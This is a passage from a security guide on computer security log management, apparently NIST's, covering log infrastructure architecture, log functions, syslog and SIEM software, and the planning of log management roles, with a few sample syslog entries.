activity, and operational problems. Logs are also useful for establishing baselines, performing auditing and forensic analysis, suppo rting internal investigations, and identifying operational trends and long-term problems. Organizations may also store and analyze certain logs for compliance with FISMA, HIPAA, GLBA, SOX, and ot her key regulations, guidelines, and standards. The fundamental problem with log management is balancing a limited amount of log management resources with a continuous suppl y of log data. Log generation and storage is complicated mainly by a high number of log sources, inconsistent log formats among sources, and a large volume of log data on a daily basis. Log management also invo lves protecting logs from breaches of their confidentiality and integrity, as well as supporting their availability. Another problem with log management is having network and system administrators perform regular, efficient, and effective analysis of log data. Key practices recommended to meet the main challenges in log management are as follows:  Prioritize log management appropriately throughout the organization  Establish policies and procedures for log management  Create and maintain a secure log management infrastructure  Provide proper training for all staff with log management responsibilities. 2-11 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT This page has been left blank intentionally. 2-12 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 3. Log M anagement Infrastructure A log manage ment inf rastruc ture consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data.20 Most organizations have one or more log management infrastructures.21 This section describes the typical architecture of a log management infrastructure and how its components interact with each other. It then describes the basic functions performed within a log management infrastructure. Next, it examines the two major categories of log management software: syslog-based centralized logging software and security information and event management sof tware. The section also describes additional types of software that may be useful within a log management infrastructure. 3.1 Architecture A log management infrastructure typically comprises the following three tiers:  Log Ge neration. The first tier contains the hosts th at generate the log data. Some hosts run logging client applications or services that make their log data available through networks to log servers in the second tier. Oth er hosts m ake their logs available through other means, such as allowing the servers to authenticate to them and retrieve copies of the log files.  Log An alysis and Storage. The second tier is composed of one or more log servers that receive log data or copies of log data from the hosts in the first tier. The data is transferred to the servers either in a real-time or near-real-time manner, or in occasional batches based on a schedule or the amount of log data waiting to be transferred. Servers that receive log data from multiple log generators are sometimes called collectors or aggre gators. Log da ta may be stored on the log servers themselves or on separate database servers.  Log Monitoring. The third tier contains consoles that may be used to monitor and review log data and the results of automated analysis. Log monitoring consoles can also be used to generate reports. In som e log management infrastructures, consoles can also be used to provide management for the log servers and clients. Also, console user privileges sometimes can be limited to only the necessary functions and data sources for each user. The second tier—log analysis and storage—can vary greatly in complexity and structure. The simplest arrangement is a single log server that handles all log analysis and storage functions. Examples of more complex second tier arrangements are as follows:  Multiple log servers that each perform a specialized function, such as one server performing log collection, analysis, and short-term log storage, and another server performing long-term storage.  Multiple log servers that each perform analysis and/or storage for certain log generators. This can also provide some redundancy. A lo g generator can switch to a backup log server if its primary log server becomes unavailable. Also, log servers can be configured to share log data with each other, which also suppo rts redundancy. 20 Although this document describes log management infrastructures solely in the context of computer security log data, organizations can use the same infrastructures for other types of log data. The general principles and technologies presented in this section are applicable to other logging needs. 21 Some organizations, particularly smaller ones, may choose to have a single log management infrastructure used throughout the enterprise. For most organizations, a single infrastructure is not feasible for any of several reasons, including limitations on the scalability of a single infrastructure, logging occurring on logically or physically separate networks, concern about robustness (e.g., having a single infrastructure means that a failure of that infrastructure affects logging throughout the organization), and interoperability issues among log ge nerators and infrastructure com ponents. 3-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Two levels of log servers, with the first level of distributed log servers receiving logs from the log generators and forwarding som e or all of the log data they receive to a second level of more centralized log servers. (Additional tiers can be added to this architecture to make it even more flexible, scalable, and redundant.) In some cases, the first level servers act as log c aching servers—sim ply receiving logs from log generators and forwarding them to other log servers. This can be done to protect the second level of log servers from direct attacks, and it is also useful when there are network reliability concerns between the log generators and the second level of log servers, such as those servers being accessible only over the Internet. In that case, having log caching servers on a reliable local network allows the log generators to transfer their logs to those servers, which can then transfer the logs to the second level of log servers when network conne ctivity permits. Communications between log management infrastructure components typically occur over an organization’s regular networks because the hosts generating log data may be located throughout the organization’s networks. However, a physically or logically separate logging network can be used, particularly for getting logs from key devices (e.g., firewalls and network intrusion detection systems that often transfer large amounts of log data) and for transferring log data between log servers. During a widespread malware incident or other network-based attack, regular networks might be unstable or unavailable. Another motivation for usin g a separate loggi ng network is protecting log data on the organization’s regular networks from eavesdropping . If a separate logg ing network is not used, logg ing communications on the regular network could be protected using additional security controls, such as data encryption. Another benefit of having a separate logging network is protecting those components that are only used for log management from attacks. For a log management infrastructure, there might be some log-generating hosts that cannot automatically participate in the infrastructure, such as computers that are not network-connected, and legacy systems and appliance-based devices that cannot be configured to transfer their logs to the log servers. If their log data needs to be incorporated into the log management infrastructure, organizations can adopt out-of-band solutions such as manually transferring logs from a host to write-once media (e.g., CD -ROMs), and then copying the data from the media to a log server.22 A log management infrastructure also needs to accommodate hosts w ith intermittent or low-bandwidth conne ctivity, such as mobile hosts and hosts conne cting through dial-up modems. These hosts may be severely limited as to how they can participate in the log management infrastructure, but this does not alter the importance of the logs that they contain. An organization might have a single log management infrastructure for the entire enterprise, but i t is more common to have multiple separate infrastructures that do not necessarily interoperate. Having a single log management infrastructure can provide a single point for reviewing all of the organization’s pertinent log data, but for larger organizations the size of such an infrastructure and the volume of data it wou ld have to process and store typically make it infeasible. Larger organizations usually have multiple log management infrastructures, sometimes dozens or hundreds. The scope of each infrastructure can be dictated by many factors, including the organization’s internal structure, system types (e.g., a separate infrastructure for enterprise security systems), log types (e.g., a separate infrastructure for application audit logs), and facility locations. 22 If the data does not need to be transferred to the log management infrastructure, then local administrators can manage and analyze it at the log source itself. 3-2 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 3.2 Func tions Log management infrastructures typically perform several functions that assist in the storage, analysis, and disposal of log data. These functions are normally performed in such a way that they do not alter the original logs.23 The following items describe common log management infrastructure functions:  General – Log pa rsing is extracting data from a log so that the parsed values can be used as input for another logging process. A simple example of parsing is reading a text-based log file that contains 10 comma-separated values per line and extracting the 10 values from each line. Parsing is performed as part of many other logg ing functions, such as log conve rsion and log viewing. – Event filte ring is the suppr ession of log entries from analysis, reporting, or long-term storage because their characteristics indi cate that they are unlikely to contain information of interest. For example, duplicate entries and standard informational entries might be filtered because they do not provide useful information to log analysts. Typically, filtering does not affect the generation or short-term storage of events because it does not alter the original log files. – In event aggre gation , simila r entries are consolidated into a single entry containing a count of the number of occurrences of the event. For example, a thousand entries that each record part of a scan could be aggregated into a single entry that indicates how many hosts we re scanned. Aggregation is often performed as logs are originally generated (the generator counts sim ilar related events and periodically writes a log entry containing the count), and it can also be performed as part of log reduction or event correlation processes, which are described below.  Storage – Log ro tation is closing a log file and opening a new log f ile when the first file is considered to be complete. Log rotation is typically performed according to a schedule (e.g., hourly, daily, weekly) or when a log file reaches a certain size. The primary benefits of log rotation are preserving log entries and keeping the size of log files manageable. When a log file is rotated, the preserved log file can be compressed to save space. Also, during log rotation, scripts are often run that act on the archived log. For example, a script might analyze the old log to identify malicious activity, or might perform filtering that causes only log entries meeting certain characteristics to be preserved. Many log generators offer log rotation capabilities; many log files can also be rotated through simple scripts or third-party utilities, which in som e cases offer features not provided by the log generators. – Log arc hival is retaining logs for an extended period of time, typically on removable media, a storage area network (SAN), or a specialized log archival appliance or server. Logs often need to be preserved to meet legal or regulatory requirements. Section 4.2 provides additional information on log archival. There are two types of log archival: retention and preservation. Log re tention is archiving logs on a regular basis as part of standard operational activities. Log preservation is keeping logs that normally would be discarded, because they contain records of activity of particular interest. Log preservation is typically performed in suppo rt of incident handling or inve stigations. 23 Ensuring that the original logs are not altered supports their use for evidentiary purposes. 3-3 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT – Log compression is storing a log file in a way that reduces the amount of storage space needed for the file without altering the meaning of its contents. Log compression is often performed when logs are rotated or archived. – Log re duction is removing unne eded entries from a log to create a new log that is smaller. A similar process is event reduction, which removes unne eded data fields from all log entries. Log and event reduction are often performed in conjunction with log archival so that only the log entries and data fields of interest are placed into long -term storage. – Log conversion is parsing a log in one format and storing its entries in a second format. For example, conve rsion could take data from a log stored in a database and save it in an XML format in a text file. Many log generators can conve rt their own logs to another format; third- party conve rsion utilities are also available. Log conve rsion som etimes includes actions such as filtering, aggregation, and normalization. – In log norm alization, each log data field is converted to a particular data representation and categorized consistently. One of the most commo n uses of normalization is storing dates and times in a single format. For example, one log generator might store the event time in a twelve-hour format (2:34:56 P.M. EDT) categorized as Timestamp, while another log generator might store it in twenty-four (14:34) format categorized as Event Time, with the time zone stored in different notation (-0400) in a different field categorized as Time Zone.24 Normalizing the data makes analysis and reporting much easier when multiple log formats are in use. However, normalization can be very resource-intensive, especially for complex log entries (e.g., typical intrusion detection logs). – Log file integrity checking involve s calculating a message digest for each file and storing the message digest securely to ensure that changes to archived logs are detected. A message digest is a digital sign ature that uniquely identifies data and has the property that changing a single bit in the data causes a completely different message dige st to be generated. The most commonly used message digest algorithms are MD5 and Secure Hash Algo rithm 1 (SHA- 1).25 If the log file is modified and its message digest is recalculated, it will not match the original message digest, indicating that the file has been altered. The original message digests sh ould be protected from alteration through FIPS-approved encryption algorithms, storage on read-only media, or other suitable means.  Analysis – Event correlation is finding relationships between two or more log entries. The most common form of event correlation is rule-based correlation, which matches multiple log 24 Normalizing times is often particularly challenging. Organizations with systems in multiple time zones often need to convert all logged times to a single time zone. Also, systems’ clocks might not be in sync with each other, so it might be necessary to add or subtract times from the log entries recorded by out-of-sync sources. Organizations should use time synchronization technologies such as Network Time Protocol (NTP) servers whenever possible to keep log sources’ clocks consistent with each other. 25 Fede ral agencies must use Federal Information Processing Standard (FIPS) approved enc ryption algorithms contained in validated cryptographic modules. Because SHA is a FIPS-approved algorithm and MD5 is not, Federal agencies must use SHA instead of MD5 for message digests. The Cryptographic Module Validation Program (CMVP) at NIST coordinates FIPS testing; the CMVP Web site is located at http://csrc.nist.gov/cryptval/. FIPS 18 0-2, Secure Hash Standard, is available at http://csrc.nist.gov/publications/fips/fips180-2/fips180-2withchangenotice.pdf. SHA-1 has been the most commonly used version of SHA; however, NIST has announced that Federal agencies should plan on transitioning from SHA-1 to stronger forms of SHA (e.g., SHA-224, SHA-256) by 2010. For more information, see NIST comments from August 2004 posted at http://csrc.nist.gov/hash_standards_comments.pdf, as well as http://www. nsrl.nist.gov/collision.html. Organizations should consider using SHA-256 i nstead of SHA-224 o r SHA-1 if the operating systems or applications generating message digests suppo rt SHA-256. 3-4 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT entries from a single source or multiple sources based on logge d values, such as timestamps, IP addresses, and event types. Event correlation can also be performed in other ways, such as using statistical methods or visualization tools. If correlation is performed through automated methods, generally the result of successful correlation is a new log entry that brings together the pieces of information into a single place. Depending on the nature of that information, the infrastructure might also generate an alert to indicate that the identified event needs further inve stigation. – Log viewing is displaying log entries in a human-readable format. Most log generators provide som e sort of log viewing capability; third-party log viewing utilities are also available. Some log viewers provide filtering and aggregation capabilities. – Log re porting is displaying the results of log analysis. Log reporting is often performed to summarize signi ficant activity over a particular period of time or to record detailed information related to a particular event or series of events.  Disposal – Log clearing is removing all entries from a log that precede a certain date and time. Log clearing is often performed to remove old log data that is no longe r needed on a system because it is not of importance or it has been archived. A log management infrastructure usually encompasses mos t or all of the functions described in this section. Section 3.1 describes the components and architectures of log management infrastructures. The placement of some of the log functions among the three tiers of the log management infrastructure depends primarily on the type of log management software used. Log management infrastructures are typically based on one of the two major categories of log management software: syslog-based centralized logging software and security information and event management software. Sections 3.3 and 3.4 describe these types of software. Section 3.5 describes additional types of software that may be valuable within a log management infrastructure. 3.3 Syslog-Based Centralized Loggi ng S oftware In a loggin g infrastructure based on the syslog protocol, each log generator uses the same high-level format for its logs and the same basic mechanism for transferring its log entries to a syslog server running on another host.26 Syslog provides a simple framework for log entry generation, storage, and transfer, that any O S, security software, or application could use if designed to do so. Many log sources either use syslog as their native logging format or offer features that allow their log formats to be converted to syslog format. Section 3.3.1 describes the format of syslog messages, and Section 3.3.2 discusses the security features of common syslog implementations.27 3.3.1 Syslog Format Syslog assigns a priority to each message based on the importance of the following two attributes:  Message type, known as a facility. Examples of facilities include kernel messages, mail system messages, authorization messages, printer messages, and audit messages. 26 Although syslog has been in use for many years for log generationand storage, it has not been standardized formally. Request for Comments (RFC) 3164, The BSD Syslog Protocol, which is available at http://www.ietf.org/rfc/rfc3164 .txt, is an informational document and not a true standard. Because of the lack of syslog standards, there are major differences among existing syslog implementations. 27 Most syslog implementations are free; there are also some commercial syslog implementations. 3-5 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT  Severity. Each log message has a severity value assigne d, from 0 (emergency) to 7 (debug).28 Syslog uses message priorities to determine which messages should be handled more quickly, such as forwarding highe r-priority messages more quickly than lower-priority ones. However, the priority does not affect which actions are performed on each message. Syslog can be configured to handle log entries differently based on each message’s facility and severity. For example, it could forward severity 0 ke rnel messages to a centralized server for further review, and simply record all severity 7 messages without forwarding them. Howe ver, syslog does not offer any more granularity than that in message handling; it cannot make decisions based on the source or content of a message. Syslog is intended to be very simple, and each syslog message has only three parts. The first part specifies the facility and severity as numerical values. The second part of the message contains a timestamp and the hostname or IP address of the source of the log. The third part is the actual log message content. No standard fields are defined within the message content; it is intended to be human- readable, and not easily machine-parseable. This provides very high flexibility for log generators, which can place whatever information they deem important within the content field, but i t makes automated analysis of the log data very challenging . A single source may use many different formats for its log message content, so an analysis program would need to be familiar with each format and be able to extract the meaning of the data within the fields of each format. This problem becomes much more challenging whe n log messages are generated by many sources. It might not be feasible to unde rstand the meaning of all log messages, so analysis might be limited to keyword and pattern searches. Some organizations design their syslog infrastructures so that similar types of messages are grouped toge ther or assigned similar codes, which can make log analysis automation easier to perform. Figure 3-1 shows several examples of syslog messages. Mar 1 06:25:43 server1 sshd[23170]: Accepted publickey for server2 from 172.30.128.115 port 21011 ssh2 Mar 1 07:16:42 server1 sshd[9326]: Accepted password for murugiah from 10.20.30.108 port 1070 ssh2 Mar 1 07:16:53 server1 sshd[22938]: reverse mapping checking getaddrinfo for ip10.165.nist.gov failed - POSSIBLE BREAKIN ATTEMPT! Mar 1 07:26:28 server1 sshd[22572]: Accepted publickey for server2 from 172.30.128.115 port 30606 ssh2 Mar 1 07:28:33 server1 su: BAD SU kkent to root on /dev/ttyp2 Mar 1 07:28:41 server1 su: kkent to root on /dev/ttyp2 Figure 3-1. Examples of Syslog Messag es 28 In practice, some log generators do not use the severity value as originally intended. For example, they could assign severity values to denote certain classes of log m essages, without any relationship to event severity. The log analysis process can be significantly more com plex if a syslog server receives messages that have different ways of assigning severity values. 3-6 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 3.3.2 Syslog Security Syslog was developed at a time when the security of logs was not a major consideration. Accordingly, it did not suppo rt the use of basic security controls that would preserve the confidentiality, integrity, and availability of logs. For example, most syslog implementations use the conne ctionless, unreliable User Datagram Protocol (UDP) to transfer logs between hosts. UDP provides no assurance that log entries are received successfully or in the correct sequence. Also, most syslog implementations do not perform any access control, so any host can send messages to a syslog server unless other security measures have been implemented to prevent this, such as using a physically separate logging network for communications with the syslog server, or implementing access control lists on network devices to restrict which hosts can send messages to the syslog server. Attackers can take advantage of this by flooding syslog servers with bogus log data, which can cause important log entries to go unno ticed or even potentially cause a denial of service. Another shortcoming of most syslog implementations is that they cannot use encryption to protect the integrity or confidentiality of logs in transit. Attackers on the network might monitor syslog messages containing sensitive information regarding system configurations and security weaknesses; attackers might also be able to perform man-in-the-middle attacks suc h as modifying or destroying syslog messages in transit.29 As the security of logs has become a greater concern, several implementations of syslog have been created that place a greater emphasis on security.30 Most have been based on a proposed standard, RFC 3195, which was designed specifically to improve the security of syslog.31 Implementations based on RFC 3195 can suppo rt log confidentiality, integrity, and availability through several features, including the following:  Reliable Log D elivery. Several syslog implementations suppo rt the use of Transmission Control Protocol (TCP) in addition to UDP. TCP is a connection-oriented protocol that attempts to ensure the reliable delivery of information across ne tworks. Using TCP helps to ensure that log entries reach their destination. Having this reliability requires the use of more network bandwidth; also, it typically takes more time for log entries to reach their destination. Some syslog implementations use log caching servers, as described in Section 3.1.  Transmission Confidentiality Protection. RFC 3195 recommends the use of the Transport Layer Security (TLS) protocol to protect the confidentiality of transmitted syslog messages.32 TLS can protect the messages during their entire transit between hosts. TLS can only protect the payloads of packets, not their IP headers, which means that an observer on the network can identify the source and destination of transmitted syslog messages, possibly revealing the IP addresses of the syslog servers and log sources. Some syslog implementations use other means to encrypt network traffic, such as passing syslog messages through secure shell (SSH) tunnels. Protecting syslog transmission s can require additional network bandwid th and increase the time needed for log entries to reach their destination.  Transmission Integrity Protection and Authentication. RFC 3195 recommends th at if integrity protection and authentication are desired, that a message dige st algorithm be used. RFC 3195 recommends the use of MD5; p roposed revisions to RFC 3195 mention the use of SHA-1. 29 Section 6 of RFC 3164 provides additional information on security weaknesses in syslog implementations. 30 Appendi x D contains a list of common syslog implementations. 31 RFC 3195, Reliable Delivery for syslog, is available at http://www.ie tf.org/rfc/rfc3195 .txt. Additional revisions to the proposed syslog standards are currently being developed. For the latest information on syslog standards, visit the Web site for the Internet Engineering Task Force (IETF) working group called Security Issues in Network Event Logging, which is located at http://www. ietf.org/html.charters/syslog-charter.html. 32 RFC 2246, The TLS Protocol Version 1.0, defines the standard for TLS. It is available at http://www.i etf.org/rfc/rfc2246 .txt. 3-7 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Because SHA is a FIPS-approved algorithm and MD5 is not, Federal agencies should use SHA instead of MD5 for message digests whenever feasible.33 Some syslog implementations offer additional features that are not based on RFC 3195. The most common extra features are as follows:  Robust Filtering. Original syslog implementations allowed messages to be handled differently based on their facility and priority only ; no finer-grained filtering was permitted. Some current syslog implementations offer more robust f iltering capabilities, such as handling messages differently based on the host or program that generated a message, or a regular expression matching content in the body of a message. Som e implementations also allow multiple filters to be applied to a single message, which provides more complex filtering capabilities.  Log An alysis. Originally, syslog servers did not perform any analysis of log data; they simply provided a framework for log data to be recorded and transmitted. Administrators could use separate add-on programs for analyzing syslog data. Some syslog implementations now have limited log analysis capabilities built in, such as the ability to correlate multiple log entries.  Event Response. Som e syslog implementations can initiate actions when certain events are detected. Examples of actions include sending SNMP traps, alerting administrators through pages or e-mails, and launching a separate program or script. It is also possible to create a new syslog message that indicates a certain event was detected.  Alternative Mes sage Formats. Some syslog implementations can accept data in non-syslog formats, such as SNMP traps. This can be helpful for getting security event data from hosts that do not suppo rt syslog and cannot be modified to do so.  Log File Encryption. Some syslog implementations can be configured to encrypt rotated log files automatically, protecting their confidentiality. This can also be accomplished through the use of OS or third-party encryption programs.  Database Storage for Logs. Some implementations can store log entries in both traditional syslog files and a database. Having the log entries in a database format can be very helpful for subsequent log analysis.  Rate Limiting. Some implementations can limit the number of syslog messages or TCP conne ctions from a particular source during a certain period of time. This is useful in preventing a denial of service for the syslog server and the loss of syslog messages from other sources. Because this technique is designed to cause the loss of messages from a source that is overwhelming the syslog server, it can cause som e log data to be lost during an adverse event that generates an unusually large number of messages. Organizations using syslog implementations based on the original syslog message format and transfer protocol should consider using syslog implementations that offer stronger protection for confidentiality, integrity, and availability. Many of these implementations can directly replace existing syslog implementations. When evaluating syslog replacements, organizations should pay particular attention to interoperability, because many syslog clients and servers offer features not specified in RFC 3195 o r other standard-related efforts. Also, organizations that use security information and event management software (as described in Section 3.4) to store or analyze syslog messages should ensure that their syslog clients and servers are fully compatible and interoperable with the security information and event management sof tware. 33 See Section 3.2 for recommendations on selecting an appropriate SH A algorithm. 3-8 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 3.4 Secu rity Information and Event Management Software Security information and event management (SIEM) software34 is a relatively new type of centralized logging software compared to syslog.35 SIEM products have one or more log servers that perform log analysis, and one or more database servers that store the logs.36 Most SIEM products suppo rt two ways of collecting logs from log generators:  Agentless. The SIEM server receives data from the indiv idual log generating hosts without needing to have any special software installed on those hosts. Some servers pul l logs from the hosts, which is usua lly done by having the server authenticate to each host and retrieve its logs regularly. In other cases, the hosts push their logs to the server, which usua lly involve s each host authenticating to the server and transferring its logs regularly. Regardless of whether the logs are pushed or pulled, the server then performs event filtering and aggregation and log normalization and analysis on the collected logs.  Agent-Based. An agent program is installed on the log ge nerating host to perform event filtering and aggregation and log normalization for a particular type of log, then transmit the normalized log data to an SIEM server, usually on a real-time or near-real-time basis for analysis and storage. If a host has multiple types of logs of interest, then it might be necessary to install multiple agents. Some SIEM pr oducts also offer agents for generic formats suc h as syslog and SNMP. A generic agent is used primarily to get log data from a source for which a format-specific agent and an agentless method are not available. Some products also allow administrators to create custom agents to handle unsuppo rted log sources. There are advantages and disadvantages to each method. The primary advantage of the agentless approach is that agents do not need to be installed, configured, and maintained on each loggi ng host. The primary disadvantage is the lack of filtering and aggregation at the individual host level, which can cause significantly larger amounts of data to be transferred over networks and increase the amount of time it takes to filter and analyze the logs. Another potential disadvantage of the agentless method is that the SIEM se rver may need credentials for authenticating to each logging host. In som e cases, only one of the two methods is feasible; for example, there might be no w ay to remotely collect logs from a particular host without installing an agent onto it. SIEM p roducts usua lly include suppo rt for several dozen types of log sources, such as OSs, security software, application servers (e.g., Web servers, e-mail servers), and even physical security control devices suc h as badge readers. For each suppo rted log source type, except for generic formats suc h as syslog, the SIEM pr oducts typically know how to categorize the most im portant logge d fields (e.g., the value in field 12 of application XYZ’s logs signifies the source IP address). This significantly improves the normalization, analysis, and correlation of log data over that performed by software with a less granular understanding of specific log sources and formats. Also, the SIEM software can perform event 34 Other terms commonly used for SIEM-like products are security event management (SEM) and security information management (SIM). This publication uses the term SIEM because it is generally considered to have a broader meaning than the other terms. At one time, many products were either SEM-specific (generally focusing on incident response) or SIM- specific (generally focusing on auditing). Most current products perform both some SEM and some SIM functions, so the SIEM term is better-suited for them. The use of the term SIEM in this publication is not meant to be definitive, but rather to simply provide a basis for subsequent discussions in the publication. 35 Another type of logging software is known as log m anagement software. Although some of these products have similar functionality to SIEM products, they are typically intended to handle a wide range of log entries, and are not focused on the analysis of security-related log entries. As a result, a discussion of such products is outside the scope of this guide. However, this is not meant to imply that such products cannot be used for computer security log management. 36 Nearly all available SIEM products are commercial. 3-9 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT reduction by disregarding those data fields that are not significant to computer security, potentially reducing the SIEM software’s network bandwidth and data storage usage. Regardless of how it receives log data (through agents or an agentless method), an SIEM server analyzes the data from all the different log sources, correlates events among the log entries, identifies and prioritizes sign ificant events,37 and initiates responses to events if desired. SIEM products usually include several features to help log monitoring staff, such as the following:  Graphical user interfaces (GUI) that are specifically designed to assist analysts in identifying potential problems and reviewing all available data related to each problem  A security knowle dge base, with information on known v ulnerabilities, the likely meaning of certain log messages, and other technical data; log analysts can often custom ize the knowle dge base as needed  Incident tracking and reporting capabilities, sometimes with robust workflow features  Asset information storage and correlation (e.g., giving higher priority to an attack that targets a vulnerable OS or a more important host). There are no standards specific to SIEM, so each SIEM product stores and transmits data in any format it chooses. However, SIEM products usually offer capabilities to protect the confidentiality, integrity, and availability of log data. For example, network communications between agents and the SIEM servers typically occur over the reliable TCP protocol and are encrypted. Also, agents and SIEM servers may need to provide credentials to each other and be authenticated successfully before they can transfer data (e.g., agent sending logs to server, server reconfiguring agent). 3.5 Additional Types of Log M anagement Software Othe r types of software may also be helpful for log management, including the following:  Host-Based Intrusion Detection Systems (IDS). A host-based IDS monitors the characteristics of a single host and the events occurring within the host for suspi cious activity. Many host-based IDS products monitor hosts’ OS, security software, and application logs. Some host-based IDS products use logs as only one of several sources of data in detecting suspi cious activity, while other host-based IDS products monitor logs only. Generally, a host-based IDS that uses log data has signatures for known malicious activity that it matches against log entries to identify events of interest. However, such products often focus on the OS logs and the most commo n security software and applications, and offer little or no suppo rt for less common software.  Visualization Tools. A visualization tool presents security event data in a graphical format. For example, a tool c ould display data grouped or sorted by the values of different event characteristics, such as source address. An analyst can then look for patterns in the display and manipulate it, such as suppressing known benign activity so that only unknown events are shown. Visualization tools can be very effective for analyzing certain types of log data, such as showing the sequence of events that occurred in an attack involving several hosts. Many SIEM p roducts have built-in visualization tools. Third-party tools can also be added to log management infrastructures that lack them, but the y may be more challenging to use than built-in tools. Importing data into a third-party tool and displaying it is usually relatively straightforward, but 37 Some SIEM products can prioritize events based on correlating events with other sources of information, such as the result of vulnerability scans. 3-10 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT learning how to use the tool efficiently to reduce large datasets down to a few events of interest can take considerable effort.  Log R otation Utilities. Administrators can use specialized third-party utilities for rotating logs. These can be helpful for improving log management for log sources that do not offer sufficiently robust log rotation capabilities or any capability at all.  Log Conversion Utilities. Many software vendors offer log conve rsion utilities that can be used to conve rt their proprietary format logs into standard formats. These utilities are helpful in incorporating data from less commo n log sources into a log management infrastructure, such as when an SIEM pr oduct does not offer suppo rt for a particular log format. Log conve rsion utilities are also helpful when a syslog-based log management infrastructure is being used and one or more log generators cannot log directly to syslog. 3.6 Summa ry A log management infrastructure consists of the hardware, software, networks, and media used to generate, transmit, store, analyze, and dispose of log data. Log management infrastructures typically perform several functions that suppo rt the analysis of events, such as filtering, aggregation, normalization, and correlation. The infrastructures also provide assistance in making log data accessible and maintaining it through functions such as log parsing, viewing, analysis, rotation, and archival, as well as log file integrity checking. Log management infrastructures, which are typically based on either syslog-based centralized logging software or security information and event management software, usua lly use a three-tiered design. The first tier encompasses the hosts th at generate the original log data. The second tier includes centralized log servers, which perform consolidation and data storage. The third tier contains consoles that are used to monitor and review log data, and op tionally may also be used to manage the log servers and clients. Commu nications between the tiers usually occur over the organization’s regular networks, but may be routed over a separate logging network instead. Organizations may also have log-generating hosts th at cannot actively participate in the log management infrastructure, such as computers that are not network- connected, legacy systems, and appliance-based devices; administrators can either transfer data manually to the infrastructure from these hosts th rough removable media, or manage and analyze the data locally. In a syslog-based centralized logging infrastructure, each log generator uses the same standard log format and forwards its log entries to a centralized log server. Because syslog is a simple standard protocol, it can be used by many OSs, security software programs, and applications. The original syslog standard does not offer much granularity in handling different type s of events. Also, because it has few data fields, it can be very difficult to extract the meaning of the data logged for each event when multiple log sources are generating events. Syslog was developed when log security was not a major concern; the original syslog standard offers no features for preserving the confidentiality, integrity, and availability of logs. To improve the security of syslog deployments, a new proposed standard has been created that offers stronger security capabilities, and va rious syslog implementations have added features such as reliable log delivery; transmission encryption, integrity protection, and authentication; robust filtering; automated event responses; log file encryption; and event rate limiting. Organizations usin g syslog should consider using secure syslog implementations, paying particular attention to interoperability because many syslog clients and servers offer features not specified in current standards. Unlike syslog- based infrastructures, which are based on a single standard, security information and event management (SIEM) software primarily uses proprietary data formats. SIEM products have centralized servers that perform log analysis and database servers for log storage. Most SIEM products require 3-11 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT agents to be installed on each log generating host; the agents perform filtering, aggregation, and normalization for a particular type of log. The agents are also responsible for transferring log data from the indiv idual hosts to a centralized SIEM se rver on a real-time or near-real-time basis. Oth er SIEM products are agentless and rely on an SIEM se rver to pull data from the logging hosts and perform the functions that agents no rmally perform. SIEM p roducts usua lly suppo rt several dozen types of log sources, including generic formats suc h as syslog. Because the SIEM pr oducts typically unde rstand the meaning of each logge d field for specific log source formats, an SIEM-based log management infrastructure is usua lly supe rior to a syslog-based infrastructure in performing normalization, analysis, and correlation of log data from multiple log sources. SIEM products can analyze data from many sources, identify significant events, and initiate automated responses if desired. SIEM p roducts may also include analysis GUI s, security know ledge bases, incident tracking and reporting capabilities, and asset information storage and correlation capabilities. SIEM products also usually offer capabilities to protect the confidentiality, integrity, and availability of log data. Although SIEM software typically offers more robust a nd broad log management capabilities than syslog, SIEM software is usually much more complicated and expensive to deploy than a centralized syslog implementation. Also, SIEM software is often more resource-intensive for individ ual hosts th an syslog because of the processing that agents perform. In addition to syslog and SIEM so ftware, there are several other types of software that may be helpful for log management. Host-based intrusion detection systems (IDS) monitor the characteristics of a host and the events occurring within it, which might include OS, security software, and application logs. Host- based IDS products are often part of a log management infrastructure, but they cannot take the place of syslog and SIEM so ftware. Oth er utilities that are helpful for log management include visualization tools, log rotation utilities, and log conve rsion utilities. 3-12 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT 4. Log M anagement Planning To establish and maintain successful log management infrastructures, an organization should perform significant planning and other preparatory actions for performing log management. This is important for creating consistent, reliable, and efficient log management practices that meet the organization’s needs and requirements and also provide additional value for the organization. This section describes the definition of log management roles and respon sibilities, the creation of feasible logging policies, and the design of log management infrastructures. Section 5 de scribes the operational aspects of log management. 4.1 Define Roles and Re spons ibilities As part of the log management planning process, an organization should define the roles and respon sibilities of indivi duals and teams who are expected to be invo lved in log management. Teams and individual roles often involve d in log management include the following:  System and net work administrators, who are usua lly responsible for configuring logging on individual systems and network devices, analyzing those logs periodically, reporting on the results of log management activities, and performing regular maintenance of the logs and logging software  Security administrators, who are usua lly responsible for managing and monitoring the log management infrastructures, configuring loggin g on security devices (e.g., firewalls, network- based intrusion detection systems, antivirus servers), reporting on the results of log management activities, and assisting others with configuring logging and performing log analysis38  Computer security incident res ponse teams, who use log data when handling some incidents  Application developers, who may need to design or customize applications so that they perform logging in accordance with the loggin g requirements and recommendations  Information security officers, who may oversee the log management infrastructures  Chief information officers (CIO), who oversee the IT resources that generate, transmit, and store the logs  Auditors, who may use log data when performing audits  Individuals involved in the procurement of software that should or can generate computer security log data. Organizations need to give particular consideration to the assignment of operational log management duties. Some organizations, especially those with highly managed environments, may choose to perform all log management centrally instead of at the individual system level. However, in most organizations, log management is not so centralized. Typically, system, network, and security administrators are responsible for managing logging on their systems, performing regular analysis of their log data, documenting and reporting the results of their log management activities, and ensuring that log data is provided to the log management infrastructure in accordance with the organization’s poli cies. 38 Because some log management duties, such as log anal ysis and maintenance, are considered boring and mundane by many system, network, and security administrators, organizations should consider rotating such duties among administrators to prevent burnout. The duties can also be made less mundane by providing tools and techniques that reduce the workload and allow administrators to focus on the more interesting aspects of log management. 4-1 GUIDE TO COMPUTER SECUR ITY LOG MANAGEMENT Additionally, som e of the organization’s security administrators act as log management infrastructure administrators, with respon sibilities suc h as the following:  Contacting 